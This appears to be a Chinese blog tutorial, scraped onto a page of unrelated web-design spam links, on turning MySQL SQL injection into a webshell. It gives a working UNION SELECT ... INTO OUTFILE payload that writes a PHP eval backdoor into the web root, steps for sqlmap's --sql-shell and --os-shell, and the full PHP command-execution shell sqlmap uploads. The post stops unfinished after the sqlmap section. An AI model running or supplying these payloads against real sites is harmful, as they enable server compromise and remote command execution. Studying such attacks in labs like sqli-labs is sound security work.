当前位置: 首页 > wzjs >正文

信誉好的广州做网站电商网站怎么做聚合

信誉好的广州做网站,电商网站怎么做聚合,提供专业网站小程序开发,哪些网站做英语比较好导读: 时刻保持谦逊,始终保持学习,探寻事物的本质,不要把事情复杂化 目录: 前言流程通过into outfile 进行文件写入利用sqlmap 利用日志getshell 利用文件包含漏洞getshell 利用数据库备份getshell 前言&#xf…

导读:

时刻保持谦逊,始终保持学习,探寻事物的本质,不要把事情复杂化

目录:

  • 前言
  • 流程
  • 通过into outfile 进行文件写入
  • 利用sqlmap 
  • 利用日志getshell

  • 利用文件包含漏洞getshell

  • 利用数据库备份getshell

前言:

为什么SQL注入能拿Shell?

        SQL注入的本质是通过恶意SQL语句操控数据库,而部分数据库支持执行系统命令或写入文件。若能利用注入点向Web目录写入一句话木马,即可通过中国菜刀/蚁剑连接获取Shell。

流程:

寻找SQL注入点 → 判断数据库类型 → 获取Web路径 → 写入WebShell → 连接shell

一、通过into outfile 进行文件写入

利用条件:

  1. 拥有网站的写入权限
  2. 知道网站的绝对路径
  3. Secure_file_priv参数为空或可写目录(在mysql/my.ini中查看)

注:

        Secure_file_priv是用来限制load dumpfile、into outfile、load_file()函数在哪个目录下拥有上传和读取文件的权限。在mysql 5.6.34版本以后 secure_file_priv的值默认为NULL。

  • secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出
  • 当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下
  • 当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制

实际操作: 

(1)查看secure-file-priv参数的值
show global variables like '%secure%';

(2)修改secure_file_priv 的值 

windows下:修改my.ini 在[mysqld]内加入secure_file_priv =

linux下:修改my.cnf 在[mysqld]内加入secure_file_priv =

在mysql/my.ini[mysqld]中查看是否有secure_file_priv 的参数,没有的话加上secure_file_priv = 即可,再查看secure_file_priv的值如下已经变为空了 。

(3)写入shell(以sqli-labs第七关为例)
1、判断注入点

通过输入?id=3')) and sleep(3) --+时成功延时,发现存在注入点就为3'))

2、判断列数

通过order by 3 回显正常、order by 4报错,判断为3列

3、写入shell

http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-7/?id=-3')) union select 1,<?php @eval($_POST['test']); ?>,3 into outfile 'C:\\Penetration\\TrafficTools\\phpStudy\\PHPTutorial\\WWW\\outfile.php' --+

4. 连接webshell 

使用蚁剑连接成功

二、利用sqlmap 

利用条件:

  1. 拥有网站的写入权限,能够使用单引号
  2. 知道网站的绝对路径
  3. Secure_file_priv参数为空或可写目录(在mysql/my.ini中查看)

实际操作: (以sqli-labs第一关为例)

sqlmap.py -u "http://xxx?id=1" --sql-shell  //进入命令行
(1)查看文件路径

select @@datadir;   //(mysql/data的路径,根目录一般与mysql处于同一目录)

(2)查看secure_file_priv 参数值

select @@secure_file_priv  //若为空则什么都不显示,若为NULL则显示NULL

(3)写入shell
1、--os-shell

(通过udf提权写入shell,也是通过into oufile向服务器写入两个文件,一个可以直接执行系统命令,一个进行上传文件) 

2、选择语言

3、填写文件路径

sqlmap在指定的目录生成了两个文件(文件名是随机的,并不是固定的):

  • tmpbuwzg.php用来执行系统命令
  • tmpunynt.php用来上传文件

 tmpbuwzg.php文件内容为:

<?php $c=$_REQUEST["cmd"];@set_time_limit(0);@ignore_user_abort(1);@ini_set("max_execution_time",0);$z=@ini_get("disable_functions");if(!empty($z)){$z=preg_replace("/[, ]+/",',',$z);$z=explode(',',$z);$z=array_map("trim",$z);}else{$z=array();}$c=$c." 2>&1\n";function f($n){global $z;return is_callable($n)and!in_array($n,$z);}if(f("system")){ob_start();system($c);$w=ob_get_clean();}elseif(f("proc_open")){$y=proc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t);$w=NULL;while(!feof($t[1])){$w.=fread($t[1],512);}@proc_close($y);}elseif(f("shell_exec")){$w=shell_exec($c);}elseif(f("passthru")){ob_start();passthru($c);$w=ob_get_clean();}elseif(f("popen")){$x=popen($c,r);$w=NULL;if(is_resource($x)){while(!feof($x)){$w.=fread($x,512);}}@pclose($x);}elseif(f("exec")){$w=array();exec($c,$w);$w=join(chr(10),$w).chr(10);}else{$w=0;}echo"<pre>$w</pre>";?>
4、成功访问

访问 tmpbuwzg.php并利用cmd执行命令

访问tmpunynt.php上传文件,正常上传木马连接即可。

时间有限,未完待续~

文中如有错误,还请各位大佬批评指正,感激不尽! 

http://www.dtcms.com/wzjs/572741.html

相关文章:

  • 做网站报价网站上线盈利
  • 宁波城乡住房建设厅网站镇海建设交通局网站首页
  • 搜索网站排名软件上海网站开发与设
  • 无锡建设主管部门网站WordPress jwt
  • 师德师风建设网站济南公司网站推广优化最大的
  • 网站数据库购买建设银行官方网站个人系统板块
  • 网站推广方案设计郑州外贸网站建设公司价格
  • 做的最好的门户网站旅游网站建设设计公司
  • 福建网站建设科技有限公司站长seo软件
  • 司法行政网站建设目的凡科网站产品导航怎么做
  • 怎么建立自己网站视频做机械一般做那个外贸网站
  • 一级a做爰片免费的网站有吗电子商务网站建设的试卷
  • 外卖网站那家做的好别人买了域名做违法网站
  • 项目网站建设应入哪个科目直播系统开发公司
  • 在本地做改版如何替换旧网站会影响百度收录吗响应式网站 尺寸
  • 网站推广软文欣赏网站群建设座谈会
  • 网站建设书案例办公室设计布局平面图
  • 普陀做网站wordpress数据库链接地址
  • 安徽伟诚建设工程有限公司网站简单小网站
  • 网站封装成app可以做热更新买一个网站多少钱
  • 团购网站怎么做大良营销网站建设策划
  • 建站系统cmsios网页游戏
  • 番禺广州网站建设企点qq官网
  • 上海网站建设规范云安区市场网络营销方法
  • 西宁做网站的工作室网站建设上传图片不显示
  • 珠海网站制作网络公司网站上怎么做游戏
  • 高端html5网站建设的思路网站建设经验做法和取得的成效
  • 专业做网站制作自助建站系统销售网站建设公司
  • 网站设计行业资讯html源码查看在线
  • 网站建设员工资wordpress 推广提成